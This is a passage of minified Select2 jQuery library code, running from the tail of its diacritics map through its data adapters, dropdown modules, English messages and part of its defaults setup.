Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ω":"ω","ς":"σ"}}),b.define("select2/data/base",["../utils"],function(a){function b(a,c){b.__super__.constructor.call(this)}return a.Extend(b,a.Observable),b.prototype.current=function(a){throw new Error("The `current` method must be defined in child classes.")},b.prototype.query=function(a,b){throw new Error("The `query` method must be defined in child classes.")},b.prototype.bind=function(a,b){},b.prototype.destroy=function(){},b.prototype.generateResultId=function(b,c){var d=b.id+"-result-";return d+=a.generateChars(4),null!=c.id?d+="-"+c.id.toString():d+="-"+a.generateChars(4),d},b}),b.define("select2/data/select",["./base","../utils","jquery"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,a),d.prototype.current=function(a){var b=[],d=this;this.$element.find(":selected").each(function(){var a=c(this),e=d.item(a);b.push(e)}),a(b)},d.prototype.select=function(a){var b=this;if(a.selected=!0,c(a.element).is("option"))return a.element.selected=!0,void this.$element.trigger("change");if(this.$element.prop("multiple"))this.current(function(d){var e=[];a=[a],a.push.apply(a,d);for(var f=0;f<a.length;f++){var g=a[f].id;-1===c.inArray(g,e)&&e.push(g)}b.$element.val(e),b.$element.trigger("change")});else{var d=a.id;this.$element.val(d),this.$element.trigger("change")}},d.prototype.unselect=function(a){var b=this;if(this.$element.prop("multiple")){if(a.selected=!1,c(a.element).is("option"))return a.element.selected=!1,void this.$element.trigger("change");this.current(function(d){for(var e=[],f=0;f<d.length;f++){var g=d[f].id;g!==a.id&&-1===c.inArray(g,e)&&e.push(g)}b.$element.val(e),b.$element.trigger("change")})}},d.prototype.bind=function(a,b){var c=this;this.container=a,a.on("select",function(a){c.select(a.data)}),a.on("unselect",function(a){c.unselect(a.data)})},d.prototype.destroy=function(){this.$element.find("*").each(function(){b.RemoveData(this)})},d.prototype.query=function(a,b){var d=[],e=this;this.$element.children().each(function(){var b=c(this);if(b.is("option")||b.is("optgroup")){var f=e.item(b),g=e.matches(a,f);null!==g&&d.push(g)}}),b({results:d})},d.prototype.addOptions=function(a){b.appendMany(this.$element,a)},d.prototype.option=function(a){var d;a.children?(d=document.createElement("optgroup"),d.label=a.text):(d=document.createElement("option"),void 0!==d.textContent?d.textContent=a.text:d.innerText=a.text),void 0!==a.id&&(d.value=a.id),a.disabled&&(d.disabled=!0),a.selected&&(d.selected=!0),a.title&&(d.title=a.title);var e=c(d),f=this._normalizeItem(a);return f.element=d,b.StoreData(d,"data",f),e},d.prototype.item=function(a){var d={};if(null!=(d=b.GetData(a[0],"data")))return d;if(a.is("option"))d={id:a.val(),text:a.text(),disabled:a.prop("disabled"),selected:a.prop("selected"),title:a.prop("title")};else if(a.is("optgroup")){d={text:a.prop("label"),children:[],title:a.prop("title")};for(var e=a.children("option"),f=[],g=0;g<e.length;g++){var h=c(e[g]),i=this.item(h);f.push(i)}d.children=f}return d=this._normalizeItem(d),d.element=a[0],b.StoreData(a[0],"data",d),d},d.prototype._normalizeItem=function(a){a!==Object(a)&&(a={id:a,text:a}),a=c.extend({},{text:""},a);var b={selected:!1,disabled:!1};return null!=a.id&&(a.id=a.id.toString()),null!=a.text&&(a.text=a.text.toString()),null==a._resultId&&a.id&&null!=this.container&&(a._resultId=this.generateResultId(this.container,a)),c.extend({},b,a)},d.prototype.matches=function(a,b){return this.options.get("matcher")(a,b)},d}),b.define("select2/data/array",["./select","../utils","jquery"],function(a,b,c){function d(a,b){var c=b.get("data")||[];d.__super__.constructor.call(this,a,b),this.addOptions(this.convertToOptions(c))}return b.Extend(d,a),d.prototype.select=function(a){var b=this.$element.find("option").filter(function(b,c){return c.value==a.id.toString()});0===b.length&&(b=this.option(a),this.addOptions(b)),d.__super__.select.call(this,a)},d.prototype.convertToOptions=function(a){function d(a){return function(){return c(this).val()==a.id}}for(var e=this,f=this.$element.find("option"),g=f.map(function(){return e.item(c(this)).id}).get(),h=[],i=0;i<a.length;i++){var j=this._normalizeItem(a[i]);if(c.inArray(j.id,g)>=0){var k=f.filter(d(j)),l=this.item(k),m=c.extend(!0,{},j,l),n=this.option(m);k.replaceWith(n)}else{var o=this.option(j);if(j.children){var p=this.convertToOptions(j.children);b.appendMany(o,p)}h.push(o)}}return h},d}),b.define("select2/data/ajax",["./array","../utils","jquery"],function(a,b,c){function d(a,b){this.ajaxOptions=this._applyDefaults(b.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),d.__super__.constructor.call(this,a,b)}return b.Extend(d,a),d.prototype._applyDefaults=function(a){var b={data:function(a){return c.extend({},a,{q:a.term})},transport:function(a,b,d){var e=c.ajax(a);return e.then(b),e.fail(d),e}};return c.extend({},b,a,!0)},d.prototype.processResults=function(a){return a},d.prototype.query=function(a,b){function d(){var d=f.transport(f,function(d){var f=e.processResults(d,a);e.options.get("debug")&&window.console&&console.error&&(f&&f.results&&c.isArray(f.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),b(f)},function(){"status"in d&&(0===d.status||"0"===d.status)||e.trigger("results:message",{message:"errorLoading"})});e._request=d}var e=this;null!=this._request&&(c.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var f=c.extend({type:"GET"},this.ajaxOptions);"function"==typeof f.url&&(f.url=f.url.call(this.$element,a)),"function"==typeof f.data&&(f.data=f.data.call(this.$element,a)),this.ajaxOptions.delay&&null!=a.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(d,this.ajaxOptions.delay)):d()},d}),b.define("select2/data/tags",["jquery"],function(a){function b(b,c,d){var e=d.get("tags"),f=d.get("createTag");void 0!==f&&(this.createTag=f);var g=d.get("insertTag");if(void 0!==g&&(this.insertTag=g),b.call(this,c,d),a.isArray(e))for(var h=0;h<e.length;h++){var i=e[h],j=this._normalizeItem(i),k=this.option(j);this.$element.append(k)}}return b.prototype.query=function(a,b,c){function d(a,f){for(var g=a.results,h=0;h<g.length;h++){var i=g[h],j=null!=i.children&&!d({results:i.children},!0);if((i.text||"").toUpperCase()===(b.term||"").toUpperCase()||j)return!f&&(a.data=g,void c(a))}if(f)return!0;var k=e.createTag(b);if(null!=k){var l=e.option(k);l.attr("data-select2-tag",!0),e.addOptions([l]),e.insertTag(g,k)}a.results=g,c(a)}var e=this;if(this._removeOldTags(),null==b.term||null!=b.page)return void a.call(this,b,c);a.call(this,b,d)},b.prototype.createTag=function(b,c){var d=a.trim(c.term);return""===d?null:{id:d,text:d}},b.prototype.insertTag=function(a,b,c){b.unshift(c)},b.prototype._removeOldTags=function(b){this._lastTag;this.$element.find("option[data-select2-tag]").each(function(){this.selected||a(this).remove()})},b}),b.define("select2/data/tokenizer",["jquery"],function(a){function b(a,b,c){var d=c.get("tokenizer");void 0!==d&&(this.tokenizer=d),a.call(this,b,c)}return b.prototype.bind=function(a,b,c){a.call(this,b,c),this.$search=b.dropdown.$search||b.selection.$search||c.find(".select2-search__field")},b.prototype.query=function(b,c,d){function e(b){var c=g._normalizeItem(b);if(!g.$element.find("option").filter(function(){return a(this).val()===c.id}).length){var d=g.option(c);d.attr("data-select2-tag",!0),g._removeOldTags(),g.addOptions([d])}f(c)}function f(a){g.trigger("select",{data:a})}var g=this;c.term=c.term||"";var h=this.tokenizer(c,this.options,e);h.term!==c.term&&(this.$search.length&&(this.$search.val(h.term),this.$search.focus()),c.term=h.term),b.call(this,c,d)},b.prototype.tokenizer=function(b,c,d,e){for(var f=d.get("tokenSeparators")||[],g=c.term,h=0,i=this.createTag||function(a){return{id:a.term,text:a.term}};h<g.length;){var j=g[h];if(-1!==a.inArray(j,f)){var k=g.substr(0,h),l=a.extend({},c,{term:k}),m=i(l);null!=m?(e(m),g=g.substr(h+1)||"",h=0):h++}else h++}return{term:g}},b}),b.define("select2/data/minimumInputLength",[],function(){function a(a,b,c){this.minimumInputLength=c.get("minimumInputLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){if(b.term=b.term||"",b.term.length<this.minimumInputLength)return void this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:b.term,params:b}});a.call(this,b,c)},a}),b.define("select2/data/maximumInputLength",[],function(){function a(a,b,c){this.maximumInputLength=c.get("maximumInputLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){if(b.term=b.term||"",this.maximumInputLength>0&&b.term.length>this.maximumInputLength)return void this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:b.term,params:b}});a.call(this,b,c)},a}),b.define("select2/data/maximumSelectionLength",[],function(){function a(a,b,c){this.maximumSelectionLength=c.get("maximumSelectionLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){var d=this;this.current(function(e){var f=null!=e?e.length:0;if(d.maximumSelectionLength>0&&f>=d.maximumSelectionLength)return void d.trigger("results:message",{message:"maximumSelected",args:{maximum:d.maximumSelectionLength}});a.call(d,b,c)})},a}),b.define("select2/dropdown",["jquery","./utils"],function(a,b){function c(a,b){this.$element=a,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('<span class="select2-dropdown"><span class="select2-results"></span></span>');return b.attr("dir",this.options.get("dir")),this.$dropdown=b,b},c.prototype.bind=function(){},c.prototype.position=function(a,b){},c.prototype.destroy=function(){this.$dropdown.remove()},c}),b.define("select2/dropdown/search",["jquery","../utils"],function(a,b){function c(){}return c.prototype.render=function(b){var c=b.call(this),d=a('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="textbox" /></span>');return this.$searchContainer=d,this.$search=d.find("input"),c.prepend(d),c},c.prototype.bind=function(b,c,d){var e=this;b.call(this,c,d),this.$search.on("keydown",function(a){e.trigger("keypress",a),e._keyUpPrevented=a.isDefaultPrevented()}),this.$search.on("input",function(b){a(this).off("keyup")}),this.$search.on("keyup input",function(a){e.handleSearch(a)}),c.on("open",function(){e.$search.attr("tabindex",0),e.$search.focus(),window.setTimeout(function(){e.$search.focus()},0)}),c.on("close",function(){e.$search.attr("tabindex",-1),e.$search.val(""),e.$search.blur()}),c.on("focus",function(){c.isOpen()||e.$search.focus()}),c.on("results:all",function(a){if(null==a.query.term||""===a.query.term){e.showSearch(a)?e.$searchContainer.removeClass("select2-search--hide"):e.$searchContainer.addClass("select2-search--hide")}})},c.prototype.handleSearch=function(a){if(!this._keyUpPrevented){var b=this.$search.val();this.trigger("query",{term:b})}this._keyUpPrevented=!1},c.prototype.showSearch=function(a,b){return!0},c}),b.define("select2/dropdown/hidePlaceholder",[],function(){function a(a,b,c,d){this.placeholder=this.normalizePlaceholder(c.get("placeholder")),a.call(this,b,c,d)}return a.prototype.append=function(a,b){b.results=this.removePlaceholder(b.results),a.call(this,b)},a.prototype.normalizePlaceholder=function(a,b){return"string"==typeof b&&(b={id:"",text:b}),b},a.prototype.removePlaceholder=function(a,b){for(var c=b.slice(0),d=b.length-1;d>=0;d--){var e=b[d];this.placeholder.id===e.id&&c.splice(d,1)}return c},a}),b.define("select2/dropdown/infiniteScroll",["jquery"],function(a){function b(a,b,c,d){this.lastParams={},a.call(this,b,c,d),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return b.prototype.append=function(a,b){this.$loadingMore.remove(),this.loading=!1,a.call(this,b),this.showLoadingMore(b)&&this.$results.append(this.$loadingMore)},b.prototype.bind=function(b,c,d){var e=this;b.call(this,c,d),c.on("query",function(a){e.lastParams=a,e.loading=!0}),c.on("query:append",function(a){e.lastParams=a,e.loading=!0}),this.$results.on("scroll",function(){var b=a.contains(document.documentElement,e.$loadingMore[0]);if(!e.loading&&b){e.$results.offset().top+e.$results.outerHeight(!1)+50>=e.$loadingMore.offset().top+e.$loadingMore.outerHeight(!1)&&e.loadMore()}})},b.prototype.loadMore=function(){this.loading=!0;var b=a.extend({},{page:1},this.lastParams);b.page++,this.trigger("query:append",b)},b.prototype.showLoadingMore=function(a,b){return b.pagination&&b.pagination.more},b.prototype.createLoadingMore=function(){var b=a('<li class="select2-results__option select2-results__option--load-more"role="treeitem" aria-disabled="true"></li>'),c=this.options.get("translations").get("loadingMore");return b.html(c(this.lastParams)),b},b}),b.define("select2/dropdown/attachBody",["jquery","../utils"],function(a,b){function c(b,c,d){this.$dropdownParent=d.get("dropdownParent")||a(document.body),b.call(this,c,d)}return c.prototype.bind=function(a,b,c){var d=this,e=!1;a.call(this,b,c),b.on("open",function(){d._showDropdown(),d._attachPositioningHandler(b),e||(e=!0,b.on("results:all",function(){d._positionDropdown(),d._resizeDropdown()}),b.on("results:append",function(){d._positionDropdown(),d._resizeDropdown()}))}),b.on("close",function(){d._hideDropdown(),d._detachPositioningHandler(b)}),this.$dropdownContainer.on("mousedown",function(a){a.stopPropagation()})},c.prototype.destroy=function(a){a.call(this),this.$dropdownContainer.remove()},c.prototype.position=function(a,b,c){b.attr("class",c.attr("class")),b.removeClass("select2"),b.addClass("select2-container--open"),b.css({position:"absolute",top:-999999}),this.$container=c},c.prototype.render=function(b){var c=a("<span></span>"),d=b.call(this);return c.append(d),this.$dropdownContainer=c,c},c.prototype._hideDropdown=function(a){this.$dropdownContainer.detach()},c.prototype._attachPositioningHandler=function(c,d){var e=this,f="scroll.select2."+d.id,g="resize.select2."+d.id,h="orientationchange.select2."+d.id,i=this.$container.parents().filter(b.hasScroll);i.each(function(){b.StoreData(this,"select2-scroll-position",{x:a(this).scrollLeft(),y:a(this).scrollTop()})}),i.on(f,function(c){var d=b.GetData(this,"select2-scroll-position");a(this).scrollTop(d.y)}),a(window).on(f+" "+g+" "+h,function(a){e._positionDropdown(),e._resizeDropdown()})},c.prototype._detachPositioningHandler=function(c,d){var e="scroll.select2."+d.id,f="resize.select2."+d.id,g="orientationchange.select2."+d.id;this.$container.parents().filter(b.hasScroll).off(e),a(window).off(e+" "+f+" "+g)},c.prototype._positionDropdown=function(){var b=a(window),c=this.$dropdown.hasClass("select2-dropdown--above"),d=this.$dropdown.hasClass("select2-dropdown--below"),e=null,f=this.$container.offset();f.bottom=f.top+this.$container.outerHeight(!1);var g={height:this.$container.outerHeight(!1)};g.top=f.top,g.bottom=f.top+g.height;var h={height:this.$dropdown.outerHeight(!1)},i={top:b.scrollTop(),bottom:b.scrollTop()+b.height()},j=i.top<f.top-h.height,k=i.bottom>f.bottom+h.height,l={left:f.left,top:g.bottom},m=this.$dropdownParent;"static"===m.css("position")&&(m=m.offsetParent());var n=m.offset();l.top-=n.top,l.left-=n.left,c||d||(e="below"),k||!j||c?!j&&k&&c&&(e="below"):e="above",("above"==e||c&&"below"!==e)&&(l.top=g.top-n.top-h.height),null!=e&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+e),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+e)),this.$dropdownContainer.css(l)},c.prototype._resizeDropdown=function(){var a={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(a.minWidth=a.width,a.position="relative",a.width="auto"),this.$dropdown.css(a)},c.prototype._showDropdown=function(a){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},c}),b.define("select2/dropdown/minimumResultsForSearch",[],function(){function a(b){for(var c=0,d=0;d<b.length;d++){var e=b[d];e.children?c+=a(e.children):c++}return c}function b(a,b,c,d){this.minimumResultsForSearch=c.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),a.call(this,b,c,d)}return b.prototype.showSearch=function(b,c){return!(a(c.data.results)<this.minimumResultsForSearch)&&b.call(this,c)},b}),b.define("select2/dropdown/selectOnClose",["../utils"],function(a){function b(){}return b.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),b.on("close",function(a){d._handleSelectOnClose(a)})},b.prototype._handleSelectOnClose=function(b,c){if(c&&null!=c.originalSelect2Event){var d=c.originalSelect2Event;if("select"===d._type||"unselect"===d._type)return}var e=this.getHighlightedResults();if(!(e.length<1)){var f=a.GetData(e[0],"data");null!=f.element&&f.element.selected||null==f.element&&f.selected||this.trigger("select",{data:f})}},b}),b.define("select2/dropdown/closeOnSelect",[],function(){function a(){}return a.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),b.on("select",function(a){d._selectTriggered(a)}),b.on("unselect",function(a){d._selectTriggered(a)})},a.prototype._selectTriggered=function(a,b){var c=b.originalEvent;c&&c.ctrlKey||this.trigger("close",{originalEvent:c,originalSelect2Event:b})},a}),b.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(a){var b=a.input.length-a.maximum,c="Please delete "+b+" character";return 1!=b&&(c+="s"),c},inputTooShort:function(a){return"Please enter "+(a.minimum-a.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(a){var b="You can only select "+a.maximum+" item";return 1!=a.maximum&&(b+="s"),b},noResults:function(){return"No results found"},searching:function(){return"Searching…"}}}),b.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C){function D(){this.reset()}return D.prototype.apply=function(l){if(l=a.extend(!0,{},this.defaults,l),null==l.dataAdapter){if(null!=l.ajax?l.dataAdapter=o:null!=l.data?l.dataAdapter=n:l.dataAdapter=m,l.minimumInputLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,r)),l.maximumInputLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,s)),l.maximumSelectionLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,t)),l.tags&&(l.dataAdapter=j.Decorate(l.dataAdapter,p)),null==l.tokenSeparators&&null==l.tokenizer||(l.dataAdapter=j.Decorate(l.dataAdapter,q)),null!=l.query){var C=b(l.amdBase+"compat/query");l.dataAdapter=j.Decorate(l.dataAdapter,C)}if(null!=l.initSelection){var 